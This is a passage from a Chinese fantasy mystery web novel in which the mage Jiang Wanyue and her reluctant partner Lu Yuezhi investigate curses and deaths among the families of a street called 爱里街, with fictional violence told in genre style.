“妈妈。”清丽婉转的声音从木梯口传至二楼,江挽月混乱的思路被打断。
她面色重回镇定,女人却如临大敌,被吓得一激灵,将诅咒符塞到江挽月掌心,手上比划着让她躲起来。
江挽月不知道为什么身为妈妈的女人会一反传言所说,表现得如此惧怕女儿,但还是选择先藏匿起来。
她环顾四周,房间里并没有能躲藏的地方,当机立断地推开窗。下方就是后巷,才三米的高度对她来说不在话下。
落地的瞬间,江挽月又听见那道辨识度极高的声音。
“有别人来见过你吗?妈妈。”
调查不顺利,江挽月心中疑团不减反增,现在暴露自己也为时尚早,她盖上兜帽,遮住大半张脸,绕路撤退。
迎面走来个行动缓慢的跛脚男人,耷拉着脑袋也不看路,周身散发着腐烂臭味,一副死气沉沉的模样。
江挽月心绪不定,移开视线侧身主动让路。倏然之间,她敏锐地捕捉到异味之下那丝微弱的魔法气息。
不对!
她反应极快地摸向口袋里的诅咒符,却还是慢了一步,兜里空空荡荡。
“站住。”江挽月怒声喝道,抬脚正欲踹上男人后腿。
可谁知那男人一瘸一拐地跑得飞快,明显不是常人能达到的速度,江挽月拼尽全力才堪堪追上他的行踪。
男人她引至转弯处,停在路口没再逃跑,仿若受到了莫大的刺激,尖声厉叫,眼冒红光。
他佝偻着身体,涎水顺着獠牙滴落,不成人形而更接近一只被激起攻击欲望的野兽。
江挽月低头,脚下的魔法阵早已生效。男人的躯体正以肉眼可见的速度膨胀数倍,快接近一层楼的高度,锋利的指甲宛若刀片,轻松割破上衣。
他彻底失去人类的意识,怒吼着飞扑过来,江挽月猛然回神,几乎贴着他的爪子躲过一劫,冷汗涔涔而下。
如此狠辣恶毒的魔法,肯
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定和诅咒符出自同一人手,看来凶手也没那么自信,提前行动毁灭线索。
顾忌到男人曾是人类,江挽月始终收着实力,留下活命,对追查凶手至为关键。
月刃毕竟只是把短刀,即使附加魔力后威力巨大,但也是近战武器。
男人挥舞着一米长的尖爪,她很难接近肉身,几招对决过后,江挽月喘着粗气,退到离男人三米之外。
她两指夹着魔法牌,眼神坚定,气势十足地念决:“木之奥义,荆棘索。”
魔法牌化作一道绿光,布满尖刺的荆棘枝拔地而起,仿若注入灵魂般,牢牢锁住狂暴的男人。
男人愈发暴虐,欲挣脱束缚,可他动作越大,那荆棘便收缩得更紧。尖刺也深入皮肉中,男人的表情痛苦不堪,惨叫回荡在这方狭窄空间里。
渐渐的,声音降了下来,男人精疲力竭。江挽月见他已无还手之力,略微卸去荆棘施加的力道,取回被夺走的诅咒符。
她居高临下,质问声冷淡平静,没有获胜之后的窃喜:“谁把你变成这样的?”
男人张口,吐出难以辨认的音节,江挽月眉心紧锁,捏住男人下巴,迫使他张开嘴。
江挽月顿时倒吸一口凉气,那口腔里空荡荡的,舌头已经被凶手残忍地连根拔去。
突然,一柄长刀破空而来,发出势不可挡的争鸣声,江挽月下意识地后退。
那刀擦过她的发梢,不是冲她而来,直直地贯穿男人的心脏,血浆迸射,血腥味浇透江挽月满身。
那刀被主人所操控,速度极快,仅仅一秒,她还是认出了那刀柄上的暗纹。
是那个黑袍男子。
江挽月来不及思考,顺着刀离去的方向追击,她不熟悉路况,转着转着就进了个死胡同。
电子音又提示到:“线索三???已迷失。”
她心疲力竭,停下脚步扶着墙大口呼吸,却被一阵缭绕的廉价香烟味直呛鼻咽。
江挽月忍不住咳嗽起来,抬头望向眼前的陌生人。
男孩靠在墙边,不过十几岁的年纪,却熟练地又吐出一圈烟,露出痞痞的笑容:“小江姐姐?”
江挽月颦眉,在脑海中彻底搜索一遍后得出结论,自己并未与他有过交集:“你认识我?”
“我叫谢旻。”男孩说完又补充了一句,“谢太太的儿子。”
听到后一句,江挽月才有些印象。聚会时谢太太对儿子赞不绝口,她描述里的谢旻可谓是品学兼优的三好学生,和眼前这个不良少年简直差了十万八千里。
谢旻的眼神让她很不舒服,仿佛被一条毒蛇缠上,这样的压迫感实在不像是一个高中生能有的。
“小江姐姐在找什么?”谢旻依然满眼笑意,完全忽视江挽月冷若寒霜的脸。
江挽月的真实年龄与他相差无几,虽然现在的假身份比男孩更为年长,但此时她不得不多出防备的心理,没有回答他的问题。
她厉声反问:“你在这里干什么?”
“等人。”谢旻摁灭烟头,下巴微微抬起,示意她往后看。
江挽月回头。
一个瘦弱苍白的少女正目不转睛地盯着她。
5. 甜蜜之家(四)
眼前的女孩干瘪瘦弱。
黑发如墨,久不经打理,严严实实地遮住眼皮。碎发刺入眼框,惹得眼球通红,女孩却没有一丝不适的表情,似乎早已习惯。
女孩步履缓慢地向前移动,江挽月警觉地后退一步,拉开两人之间的距离。
“我叫艾理。”女孩见状停下脚步,咧着嘴笑,眼睛却瞪得犹如铜铃,说完她又拖长语气,重复一遍自己的名字:“艾、理。”
与木屋里的那道声音一模一样,艾理是那个女人的女儿。
艾理表情举止怪异,不像是正常人。她歪着头,问出和谢旻一样的问题:“你在……找谁?”
江挽月浑身僵硬,她一时竟编不出合理的谎话来搪塞过去。
她前方站着谢旻,后方站着神秘女子的女儿,两道目光紧紧地锁住她的脚步,将她困在中间。
江挽月揣在兜里的手已经摸向魔法牌,迟迟没有动作,她在犹豫不决。
陆樾之提醒过她,这个世界里的NPC攻击性很强,但她的能力已经是魔法界的天花板,一打二不在话下。
只是现在线索太少,刚刚已经失去了一条线索,如果再失去两个剧情人物,很可能影响后续的调查,她不得不另寻一个更为稳妥的破局方法。
正当江挽月踌躇之时,不远处突然晃过一道眼熟的身影。
“陆樾之!”江挽月灵机一动,立即喊住经过路口的男人,“你怎么又走错路,害得我四处找你。”
“江挽月?”
一道清冽的男声打破了僵局。
陆樾之听到呼喊,回头一望,顺着她的方向靠近。
他察觉到三人之间的暗流涌动,对上江挽月的目光,瞬间心领神会:“抱歉,还好有你来找我。”
江挽月恢复淡然自若的神色,虚挽上陆樾之的胳膊,假装嗔怪道:“以后记得跟紧我,不要再给我添麻烦。”
陆樾之也很快进入角色,笑着附和:“别生我气。”
艾理面色渐缓,显然是相信了这一幕好戏。谢旻依旧是那副吊儿郎当的样子,从始至终都没有再说过一句话,看不出他真实的想法。
江挽月突然有些理解为什么陆樾之这么喜欢演戏了,对于思维单一的剧情NPC来说,确实很好用。
离开少男少女的视线范围,江挽月立刻甩开男人的手臂,低声问道:“你怎么在那?”
陆樾之收回胳膊,见她这番过河拆桥的举动,没有好脸色,但还是坦然相告:“跟踪。”
“跟踪我?”江挽月微微颦眉,面露不喜。
陆樾之意味不明地瞥了她一眼:“不是。”
“那还能是谁。”江挽月语气急切。
“林夫人的丈夫,林先生。”陆樾之轻声道。
“他?”
江挽月眼神闪过片刻迷茫,自她来到这个世界,还未见过林先生的真实相貌,他常年加班不回家,似乎只活在林夫人的叙述里。
“嗯。”陆樾之颔首,加快了脚步,“回家说。”
江挽月泄气似的踢了一脚路上的碎石子,这边艾理一家还未调查明白,又多了林夫人一家,还有个虎视眈眈身份不明的黑袍男躲在暗处。
等她离开这个世界,绝对不会放过把她送来这里的系统局。
刚进屋关上门,气氛诡异地冷淡下来。不需要扮演恩爱人设,两人又回到针锋相对的原点,相看两恨。
陆樾之率先发问:“那两个少年是什么身份?”
“你还没告诉我为什么要跟踪林先生。”江挽月也毫不妥协。
陆樾之没直接回答,而是卖了个关子:“你觉得林先生和林夫人关系如何?”
江挽月一愣,她并未见过这对夫妻的相处状态,但总感两人不像林夫人话里的那么相爱。
起码,林先生没那么喜欢林夫人。
“一般吧。”江挽月随口猜测。
陆樾之点点头,认同她的说法:“我查过公司监控,林先生每天到点下班,包括我们赴宴那天,他也很早就离开了公司。”
“等等,你去公司了?你为什么能离开爱里街?”江挽月敏锐地捕捉到他话语里隐藏的信息,打断道,“系统给你的特权吗?”
“你思维真跳跃。”陆樾之轻挑眉梢,嘴角微微上扬,“你不能离开爱里街,同样的我也必须去公司上班,这是原人物的行动轨迹,是必须遵守的设定规则。”
“这是个双人任务。”他信誓旦旦,仿佛已经看透通关的秘诀,开始打探她的线索,“你今天去巷子里,想必查到了一些线索,但这肯定只是一部分。要想通关,必须两个人合作。”
江挽月沉默不语,似在思考他话中的真实性。
“你告诉我你今天下午查到了什么,作为交换,我也会告诉你我发现的线索。”
“你很想和我合作?”江挽月对上陆樾之那双总是没有情绪的眼睛,揣摩着他的真实用意。
“这不是我的意愿,是任务要求。”陆樾之的话语滴水不漏,他避开她的视线,“而且,我作为你抢来的金手指,帮助你通关也属于我的职责所在。”
真的如此吗?
江挽月仍然冷冷地凝视着他,静默深思。
陆樾之曾经是主角的金手指,那那些狠毒的计划他也参与其中吗?还是说,就是出自于他的提议呢?
曾经和主角一起迫害她的人,真的会放下过往种种芥蒂,甘心为她所用,成为她的金手指吗?
她不相信。
如果副本不是他所说的那样,而是只能留一个人通关,她必须要把优势掌握在自己手中。
“一个是谢太太的儿子,一个……不认识。”
江挽月长叹一口气,从怀里取出线索道具,她并未全盘托出,仅仅将关系图共享给陆樾之。
“我今天就只找到这个。”
电子音提示过关系图是通关必备的道具,既然任务的地域限制让她无法独立完成,那不如借此机会利用陆樾之,让他补全另一半。
淡淡的光效散尽,关系图上浮现出几张肖像画,居于中心的肖像未被点亮,而旁支上有几张见过数次的面容。
林夫人,林先生,神秘女子以及艾理。
画面左下角,一个灰色半透明的肖像框被划上了血红的叉,它独立于角落,不与任何人产生连接。
江挽月猜测,那是刚才死在她面前的男子。
奇怪的是,处处让她察觉到危险气息的谢旻并不在上方。
“所以,你为什么要跟踪林先生。”江挽月轻叩木桌,扯回话题。
“他身上有魔法的痕迹。”
陆樾之语气轻柔却让江挽月心中那根弦瞬间绷紧,这对
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她来说是莫大的突破口。
关系图上的人除了已经死去的跛脚男人,剩下几位她调查过的人都没有出现过魔法痕迹。
甚至包括她最为怀疑的谢旻,他也不例外。
她深吸一口气,压下心中激动,望着陆樾之,示意他继续说下去。
“林先生很早就是公司高层,工资并不低,以他的收入,搬去市中心不成问题,可偏偏他们家十几年来都住在老城,并且没有额外的房产。”
“确实很可疑。”江挽月摩挲着下巴,“会不会有债务?”
“有可能,我会想办法拿到他的流水明细。”
江挽月点点头,认可他的想法,继续提问:“那条巷子和他们家不顺路,他为什么要绕一大圈跑去那里呢?”
“不清楚,我后来跟丢了他。”
江挽月皱眉,上下扫了他一眼,又快速地移开目光。虽然没说话,但陆樾之还是读懂了她的表情。
这样都能失败,真没用。
他淡淡笑道:“你知道那附近有个木屋吗?”
“知道。”江挽月有些意兴索然,“林夫人昨晚提到过。”
陆樾之追问:“是吗,林夫人怎么说?”
“那栋房子是艾理的家。”江挽月轻轻地点了几下图上艾理的肖像,慢悠悠地回答,“林夫人之前想资助艾理,可惜因为一些传言,最后不了了之。”
说完,她转念一想,又没了头绪:“但如果林夫人一家有债务,又怎么会拿钱去资助别人呢?”
“可能林夫人并不知情。”陆樾之视线落在她手指的那处,肖像上的艾理和巷子里遇见的艾理差别很大。
“难说。”江挽月被各种不齐全的线索弄得有些头疼,连说话都有气无力。
陆樾之又试探性地问:“所以,你下午在木屋附近,有发现线索吗?”
“没有,我刚进去,艾理就回家了,然后有个电子音提示我解锁了关系图。”
江挽月语气敷衍地回复,她正陷在自己的计划里。
如果陆樾之所言属实,那林先生很有可能就是黑袍男子,他躲着不敢现身,却窥伺她的调查路线。
她拿到诅咒符,林先生便设下魔法阵派人来抢夺,眼见失败后,又杀了男人,死无对证。
逻辑合情合理,不过这些都只是她的猜测。
真相如何,只待她今晚前去验证。
江挽月取过一旁的手帕,细细地擦拭着短刀,月刃又显露出那隐隐若现的蓝光。
至于那张记录着未知符号的诅咒符……她得找机会再去见一次神秘女子。
陆樾之看着她的动作,那柄刀刃仿佛已经盯上了猎物,他善于揣摩人心,自然知晓江挽月想要做什么。
“累了,我去休息。”江挽月站起身,作势要离开,陆樾之却向前一步挡住她的去路。
“你确定除了关系图之外,再没有别的线索吗?”
他反复质问,逐渐地消磨掉江挽月对他的好脾气。
在她眼里陆樾之就是个不值得信任的工具,自己愿意听他汇报几句话,不代表能容许他对主人放肆。
江挽月神色不耐,眼神如刀冰冷地打在男人身上,将他推了个趔趄:“滚开!”
“江挽月。”陆樾之音色暗哑,他叫住她,却又沉默许久:“你身上血腥味很重。”
6. 甜蜜之家(五)
屋内安静得可拍,只留有一重一浅两道呼吸声起此彼伏。
江挽月脚下一顿,转过身来,眼中闪过一抹意外之色。
她嘴角微微上扬,满脸笑意,但细看便能发觉那眼眸中透着彻骨的冷意:“啊,被你发现了。”
江挽月习惯在行动前施加掩去污迹的小魔法,跛脚男死时的血溅了她一身,好在有魔法掩盖,谢旻、艾理都没有察觉到异样。
她的魔法阵够强,就算是魔法司那群老顽固在场,也很难看出来。
但陆樾之却抓到了破绽,他远比她想象的还要烦人。
“我就不告诉你线索。”江挽月顽劣地眨眨眼,没有被戳穿秘密后的无措,反而坦率地承认,饶有兴味地欣赏男人此刻阴沉的面色,“你又能怎样?”
陆樾之握紧拳头,若不是有手套相隔,那力道只怕连指甲都要嵌入掌心,扎得血肉淋漓。
从被她劫走至今,他尽可能的表演得乖顺,可江挽月防备心太重,始终不愿相信他。
面对她时,陆樾之总是会自乱阵脚,他后知后觉,自己不该那样说的,一时的冲动上头反而把两人的关系弄得更僵。
“我……”他欲言又止,道歉的话到了嘴边又被他犹豫着咽回去。
他毫无歉意,自然也说不出口。
“我不是主角那个废物,需要你的帮助才能成功。”江挽月缓步靠近,毫不费力地将他推倒在沙发上,抬脚踩上胸口。
陆樾之没有反抗,只是眼神迷惘地望着她。不可否认,凭她的能力确实有底气说出这句话,当之无愧的魔法界天花板,连系统局那位执掌者都对她百般忌惮。
江挽月左手搭在膝盖处,弯腰俯身,右手掐住陆樾之的下巴,又一次警告道:“你该庆幸我愿意留你一命。”
江挽月狠狠甩开他的脸,嫌弃似的扯了张纸巾擦手,迈着步子进了卧室。她不是每一次都有足够地耐心和他周旋。
陆樾之被她甩在身后,失魂落魄般一动不动,直至夜深才回到书房。
这晚,江挽月依然睡在卧室,这点小插曲丝毫影响不了她已经规划好的计划。
夜晚冷风瑟瑟,江挽月翻过高墙,稳健地落在林夫人家的花园里,几乎听不见一丝声音。
可不知从哪溜进来的野猫被突然降落的人类吓一大跳,“喵呜”乱叫。
江挽月眼神不悦地直盯着它,手指比在薄唇前。
“嘘。”
野猫极有灵性地停止叫唤,随即轻快一跳,溜之大吉。
林夫人家习惯晚上留一盏夜灯,光线照在彩色的玻璃窗上,折射出绚烂的晕光。二楼有个大阳台,很适合她潜入室内。
找好了路线,江挽月一抬手,月刃便懂得她的心意,分裂成四部分飞刀似的薄片,悬停在空中。她稳稳地踩上刀片,沿着它们不断搭建的台阶,轻松地走上二楼。
她从阳台处翻进屋内,四下搜寻一番,却不见林先生的身影,二楼主卧只有林夫人一人。
她又顺着旋转楼梯下楼,挨个房间查看,最后在一楼小客卧的床上发现了林先生。
江挽月俯视着眼前睡得正熟的男人,他的身形明显和那个黑袍男子相差甚远。
她直觉不妙,心中默念法诀,单手结阵。
奇怪,江挽月眉心紧锁,不可置信地又验证一遍。
可结果与第一次一样,她依旧无法探知到林先生的魔力,如同一潭死水,毫无波澜。
他体内没有魔力,根本不可能会魔法。
江挽月虽然不信任陆樾之,但她并不认为他提供的这条线索是假的。
林先生身上的魔法痕迹,是别人刻意为之。
她猜错了。
林先生并不是那天的黑袍男子,这条线索算是断在这里,失去追查方向。
她只能将之前的推论全部推翻,心中的困惑接二连三,越是想要理清,越是求而不得。
黑袍男子为什么要刻意地在林先生身上留下魔法痕迹?是障眼法还是有更大的阴谋?
又或许……真正留下痕迹的其实另有其人。
情况有变,江挽月目光冷冷,打量着眼前的男人,仿佛看一具死物。她在思考要不要按照原来的计划,先除掉他。
林先生行动轨迹多半在公司,那代表着她很难从他身上获得线索,但陆樾之不一样。
如果他以后借此优势,顺着林先生查到幕后凶手,又或许发现其他通关的线索,那自己的处境就大大不妙。
现在直接离开,还是杀了他以绝后患?
江挽月一个眼神,月刃瞬间从解体形态规整合一,周身散发着森寒的冷光,直接索向敌人头颅。
然而,就在离目标脖颈仅一厘米处,月刃似是受到阻拦,停滞不前。
江挽月施加魔力,刀尖前方如同突然出现一堵空气墙,无法突破。四周没有魔力来源,却有人能在她手中拦下月刃的攻击。
她对这双隐藏在黑暗里的无形之手很是好奇。
江挽月想起关系图上那个居于正中心的全黑肖像,她原先以为那个肖像是黑袍男人,可她与黑袍男人短暂交过手,他的实力远不及此种地步。
如今看来,怕是有了新的人。这场你死我活的游戏,参与的人越来越多了。
江挽月暗杀失败原路离开,虽然今晚没能除掉林先生的性命,但她已经有了新的解决办法。
第二天午后,江挽月主动约林夫人喝茶。
她过来林家前去过一趟木屋,可惜艾理在家,她进不去,神秘女子也没办法出门,很难找到机会再次会面。
那边诅咒符没有进展,她便转向林夫人这头。
“马上中学要返校了吧?”林夫人依旧是那副好脾气模样,笑意盈盈地问道,“到时候你要忙工作,以后谁来陪我聊天啊。”
江挽月眼皮一跳,若不是林夫人突然提起,自己都快忘记这个假身份的设定。
这倒是给了她新的启发,等过几天回到学校,说不定能够借此机会多了解下艾理。
最好能让女孩对她少些敌意,艾理在关系图上的位置很是显眼,想必也是重要的剧情NPC,说不定能找到新的通关线索。
江挽月垂眸,轻轻吹着热茶,一副漫不经心的样子,暗中引导话题:“林先生最近总不回家吗?没了我还有他陪您。”
“别提了,他简直是工作狂,最近几年越来越严重。”林夫人明显对此积怨已久,一拉开了话匣子,便抱怨不停,“我现在连见他一面都难,也不知道在忙什么。”
“不会吧。”江挽月装出震惊的表情,嘴唇微张,继续煽风点火,“我听小陆说林先生最近下班很早,还以为他会回家……”
她的话恰到好处的戛然而止,林夫人果然脸色一变,声音都变调些许。
“这我倒是不清楚,很久没和公司那边联系。
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”
林夫人冷哼一声:“我们家以前可是很有钱的,没有我们林家的脸面,他哪能当上领导。”
江挽月见林夫人成功上当,假意找补:“林先生或许是出去应酬。”
“哼,那谁能知道。”林夫人胡思乱想,一时气上心头,“不行,我必须好好查查他私下的行踪。”
“有些男人就是容易忘本,见我们家不如以前,就想着翻天。”林夫人罕见地面露愠色,手掌猛拍桌子,茶杯都被震得叮当作响。
看似甜蜜恩爱的夫妻,恐怕早已生出裂痕,略微挑拨,以往那些星星点点的怀疑便如野火燎原,在心中灼烧。
江挽月浅笑不语,心情愉悦地抿茶。
自己费劲心力去挖掘,远不如直接利用他人的来得轻松。
约会草草结束,江挽月才刚进门就看见陆樾之站在玄关,似乎已经等候多时。
“你昨晚去哪里了?”
江挽月现在很不待见陆樾之,一听到他的声音就厌烦,若不是日后留有用处,真想连他也一并解决掉。
“这是你该问的吗?”江挽月收敛笑意,神色不悦地走到沙发边,气势十足地坐下。
陆樾之舒展眉眼,看起来温顺几分,他半跪在她旁边,满是示弱的语气:“我查到了林先生的线索。”
他摁着一叠文件,将它推至江挽月面前。
江挽月随意瞥了一眼,是林先生的流水明细。
“但我现在好像不需要了。”
陆樾之语气肯定:“你想杀他。”
“没那么直白。”江挽月也不瞒着他,一脸无辜地纠正道,“我只是……换了个更省心的办法。”
陆樾之太阳穴隐隐作痛,江挽月的每个举动都不在他的预设之类,若不是他通知执掌者护住林先生,怕是会有更棘手的麻烦。
“他死了,你就不担心线索不全吗?”
“林先生在任务剧情里的重要程度你也清楚。”江挽月接过那份报告,胡乱翻了几页,便甩在陆樾之身上,“想用一个小喽啰来骗取信任?你趁早死心吧。”
“主角都死了,你为了一个死人费劲心机的讨好我,算计我,有必要吗?”
江挽月静静地看他将满地的纸一张张捡入怀里,重新叠好。
“好好做你的花瓶金手指吧,等我想用你的时候,再来表现。”
陆樾之望着她,那双漂亮无光的眼睛里连他的倒影都没有。
“到底要怎样你才能信任我。”
江挽月突然安静下来,似乎真的在思考这个问题,良久她才开口:“最简单的问题,把手套摘了,你能做到吗?”
不能。
陆樾之没回答,但他交叠在一起却毫无动作的双手替他回答了问题。
江挽月倒不是真的想知道手套下面是何模样,触及雷区的人,再怎样求饶示好,摇尾乞怜,她都不会心软半分。
陆樾之隐藏于心的秘密,是一卷很好用的胶带,能在任何时候堵住他满是谎言的嘴。
两人不约而同地陷入沉默。
陆樾之不答,江挽月也不继续追问。
不知过了多久,天渐渐暗沉下来,客厅一片昏暗。
黯淡的月光透过窗棂,江挽月望着窗外发呆,零号世界的月亮比这里大不少,也更加明亮。
明明该是满月的夜晚……
她已经很久很久,没有再见过了。
7. 甜蜜之家(六)
江挽月久违地梦到过去的记忆。
她生于夏季最后一个满月夜,对于本就崇信月亮的魔法国度而言,这位公主出生便带着魔法女神的眷顾。
从她接触魔法书起,便是同龄人中的佼佼者。在主角到来前,她是零号世界最为瞩目的天才法师,几乎所有人都觉得江挽月会成为除女神之外,第二位双权在握的国王。
梦里的她正沉湎于少年时期那段幸福快乐的时光,眼前场景却倏然间发生巨变。
战火漫天,主城中心的江流都被鲜血染红,魔法师之间的对峙远比普通人类要残酷得多。
血肉、骸骨,不计其数的法师死在那场战役中。
包括,她自己。
彼时的江挽月受制于心魔反噬,狂乱的魔力沿着血管,随血液一起在身体内横冲直撞,四处作乱。
庭中的玫瑰受她血液的影响发生突变,疯了似地生长,贪婪地吸食满地的尸体。她四肢上溃烂残缺的血肉也一并被啃噬干净,露出森森白骨。
江挽月猛地惊醒,大口地喘着粗气,后背被冷汗濡湿。她拭去额上的汗珠,手掌抚在心脏处,试图平稳过速的心跳。
在禁区里刚清醒的那段时间,她也曾整日整夜地陷入梦魇,无数次地回到那场噩梦般的战争。
江挽月的父母,挚友皆是死于那场由主角挑起的灾难。她与主角,与陆樾之之间,横隔着无数条生命。
这样的深仇大恨,难以言说,难以忘却。
江挽月望向床头,诅咒符还静静地停在那,她昨晚本想试着用魔法暴力破解符号,没承想睡着了。
这种阴险恶毒的魔法产物放在枕侧,也难怪她会做噩梦。
江挽月下床,掬起一捧冷水,让自己恢复镇静。
客厅茶几上,那份报告还放在原处。她眼眸微动,迟疑几秒后,还是拿起了那叠纸。
不难发现,林先生账目里有好几笔大额支出,收款方都是同一个账户。江挽月默默记下这串数字,无意间扫视到最后一页的印章。
她冷哼一声。
主角金手指的身份远比她这个在逃恶女BOSS要光明正大,连魔法司都主动派人协助陆樾之调查。
自己在这个世界,还真是孤立无援。
她将报告放回原处,困倦地打了个哈欠,又重新回到卧室补眠。
江挽月刚睡熟,便被外面喧闹的叫喊声吵醒,她从窗口探出脑袋,想要辨认声音来源。
有人尖叫道:“死人了!死人了!”
江挽月眼底的困意瞬间消失大半,她换好衣服匆忙出门。
谢太太家门前围着一圈人,她用力拨开挡在前方的居民,挤到内里定睛一看。
男人体型中等,正脸朝地,后背上有好几处刀口,显然失去生命迹象。
暗红的血迹在地面上蜿蜒开来,有几道已经开始凝固。
谢旻被围在人群中心,他面色凝重,一副悲痛万分的模样。
那男人应该是他父亲。
江挽月环视四周,却怎么也找不到谢太太的身影。
她心绪一动,察觉到不合常理之处,果断地转身离开,随意走进个无人的角落,熟练地绘制出一张寻踪魔法牌。
“去。”
卡牌泛起一道白光,随即化成细小的飞蝶,江挽月跟着它的行动轨迹,往前步行数百米,最后停在一座高楼前。
大门被人从内里锁住,她抬头,便看见谢太太浑身鲜血坐在天台边缘。天才蒙蒙亮,昏暗的环境让人难以辨清顶楼之人的表情。
谢太太发现她追至楼下,丝毫不慌张,反而哼起歌谣,摇晃着小腿,虚弱得仿佛一阵微风都能将她吹落。
江挽月紧抿嘴唇,尽管只见过一次,但眼前这个疯癫的女人实在不像精明的谢太太。
身后传来脚步声,江挽月应声回头,谢旻竟然也跟着她找了过来。
引以为傲的儿子突然出现,谢太太却突然失控,瞬间变得暴躁起来。
她猛然起身大吼大叫,声音恐怖尖历,江挽月还是第一次见她如此失态的模样。
谢太太嘴中谩骂不断,恨不得将那人剥皮抽筋:“你这个恶魔!去死!你去死!”
江挽月顺着她手指的方向望去,谢旻脸色淡定,双手插兜,不见分毫悲色,好似眼前这个咒骂自己的女人不是母亲,而是一个与他无关的陌生人。
“你还我儿子,还给我!”
谢太太捡起一旁沾血的刀刃,对着空气挥舞,她情绪激动,身体摇摇晃晃,稍有不慎便会坠落而亡。
谢旻还在旁边,江挽月不能暴露自己是魔法师的身份,只能暗中施法,试图护住谢太太。
突然,谢太太停下动作癫狂地笑,握住刀刃毫不犹豫地刺入脖颈。血流瞬间喷涌而出,她脚下一个趔趄,从高处跌落,如同一片飘零的枯叶,重重地砸在地面。
悲剧落幕,谢太太自杀了。
这两场死亡来得太过突然,江挽月眼神犀利,盯着谢旻转身离去对的背影,声音带着丝丝寒意:“你干的?”
谢旻转过身,一副有气无力的伤心模样,说话时嘴角却控制不住地微微上扬:“小江姐姐我可不懂你在说什么。”
江挽月语气肯定:“你害死了谢太太和谢先生。”
“那我是父母。”谢旻凑近她身侧,一改之前的口吻,挑衅道,“你有证据吗?”
江挽月冷眼一瞥,动作凌厉地握住他的小臂拧至后背,抬脚扫过脚腕,将他踹倒在地。
谢旻吃痛,呲牙咧嘴地想要从地上爬起,却被江挽月一脚踩趴。
“我想杀你,还需要证据?”
江挽月踩着他的头留下一句警告,随后扬长离去,步伐都带着杀伐之意。
她走后不久,街道上便传来“滴呜滴呜”的警笛声,警察封锁了现场,围观的人群也被驱赶干净。
江挽月深陷在巨大的谜团中,稀碎零散的各种突发事件一点一点地蚕食着她的精神气力。
她不高兴,心中烦躁不安,大门被她用力一甩,发出巨大的噪音。
陆樾之刚出书房便看见她一脸火气未消的表情,本想和她聊聊谢氏夫妇的死因,最终还是作罢。
先别惹她为妙。
江挽月当他是空气,连眼神都没给,径直回了房间。
她取出柜子深处的诅咒符,刚一触及便发现符纸发生了变化。那行未知的符号解构分散,重新排列成新的文字。
她逐字逐句地念出声:“甜蜜之家。”
下方又凭空浮现出三行字,最后一条没有被加密,内容清晰可见,只是句末浮现出星星点点的血迹。
“温馨的亲子关系。”
其余两行依然是未知符号。
江挽月将诅咒符揉搓攥紧,这句话是写的必定是谢太太一家,那另外两行是不是也对应着两个家庭。
谢家明明不在关系图上,但却也进了诅咒符。
她回想起那几张熟悉的肖像
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图,思路渐渐明朗。
莫非是林夫人家和……艾理家。
林夫人与林先生之间不断生出的裂痕;艾理与母亲之间诡异的相处方式。
这三个家庭绝对不似表面那样幸福甜蜜,背后隐藏着许多不为人知的秘密。
几天过后,爱里街又恢复往常的平静,所有人都对谢家的死亡事故闭口不谈。
陆樾之这几日都没在她眼前晃悠,每天早出晚归,一心追查林先生的线索。两人作息不同,即便住在同一屋檐,也鲜少碰面。
江挽月又邀约林夫人见面,打算从她这边下手,找些和诅咒符有关的信息。
林夫人神色一如往常,并没有因为谢太太的死而受到影响。
江挽月主动提前提起,她也只是叹息一声,颇为惋惜地回道:“你刚搬过来,伤心难以缓解也正常。”
“这种事情在爱里街几乎每年都有,去年就是我和你说过的,那对母女家。”
江挽月神色一凛,似是没想到艾理家早已发生过诅咒,可那张符上的文字只解锁了一条。
谢太太家只剩谢旻一个人还活着,难道说艾理想要杀死自己的母亲吗?
江挽月眉心紧锁,陷入沉思,没看到林夫人眼中一闪而过的狠厉。
“不过你也不用担心,那些所谓的诅咒啊,魔鬼啊都是子虚乌有的谣言。你看我,这么久不还是活得好好的。安心就好。”
江挽月回过神,听到这句话后眉尾轻挑,暗自腹诽:那可不一定。
“您上次不是怀疑……”
林夫人打断她,一副把握十足的表情:“就算诅咒落到我们家,也只会是我杀死他。”
江挽月笑笑,不再回话。
看来林家马上也要上演一出大戏。
江挽月绕路前往木屋,几日未见神秘女子又消瘦几分,几乎只有一层皮包裹着骨头。
神秘女人斜靠在床上,虚弱到连直起身都困难,江挽月止住她的动作,坐在床边。
“艾理在家吗?”
女人摇摇头,表示否认。
“要不要和我离开这里?”江挽月语气柔和,她初来这个世界时,女人便悄悄地给她留下线索。万一艾理真想杀死女人,于情于理,她也该护女人一条性命。
女人一愣,没有反应。
江挽月以为她没听清,又重复了一遍。
女人这次回答得很快,她摆着手拒绝。
“为什么?”江挽月语气严肃,想要劝说她远离艾理,“万一她伤害你……”
在江挽月看来,艾理精神不稳定,难以用正常人的思路来预测她的行为,无疑是一个定时炸弹,随时可能会爆炸。
“她……不……会。”女人不顾自己会受伤,着急地开口为艾理辩解,
江挽月劝不动她,只好先妥协,她四下寻找,从满室杂物里挑选出一块薄木板,用月刃刻制保护符。刻了一半,她才想起来问:“你叫什么名字?”
女人牵过她的手,在掌心比划出两个字。
艾、宁。
江挽月收回手掌,低头将署名刻上。她细细检查了一遍保护符的施法逻辑,确认无误后交予艾宁手中,叮嘱道:“如果遇到危险,双手合十夹住它,然后默念你自己的名字,这样它就能生效。”
艾宁接过,一脸认真地点头。
突然,“吱呀”一声,木门被女孩推开。
艾理正举着刀,怪异地笑:“小江姐姐,你来啦。”
8. 甜蜜之家(七)
江挽月没料想到女孩会突然回家,她心中警铃大作,生怕艾理见此场景失控,持刀伤人。
她厉声制止女孩错误的行为:“艾理,把刀放下!”
艾理撇撇嘴,一脸受挫,极不情愿地把刀扔在地板上。
她虽然不高兴,却还是照做不误。
江挽月心底略微松了口气,眼前的艾理看上去很听话,并不如她想的那般冥顽不灵。
她不喜欢谢旻,艾理之前和他走得近,难免受到牵连,但仔细回想一番,艾理并没有做过什么错事,她只是喜欢露出一些诡异的笑容。
江挽月凑近几步,伸出手揭开艾理额前的碎发,正对上她发红的眼睛,语气轻柔地询问道:“艾理,你拿刀做什么?”
艾理闻言,挣开她的手,跑到门外抱回来一大块木板,上面刻着几道深浅不一,歪歪扭扭的线条。
江挽月看着她的动作,当即明白了她的行为,她似乎早已经躲在门外偷看屋内两人的举动,试着模仿却又不得要领。
“你也想为妈妈刻保护符吗?”
艾理点点头。
江挽月暂时放下心来,看艾理的种种行为,她似乎并没有杀意。
那这道诅咒是什么效果呢。
如果诅咒的是不幸福的家庭,那艾理家的不幸是什么呢?
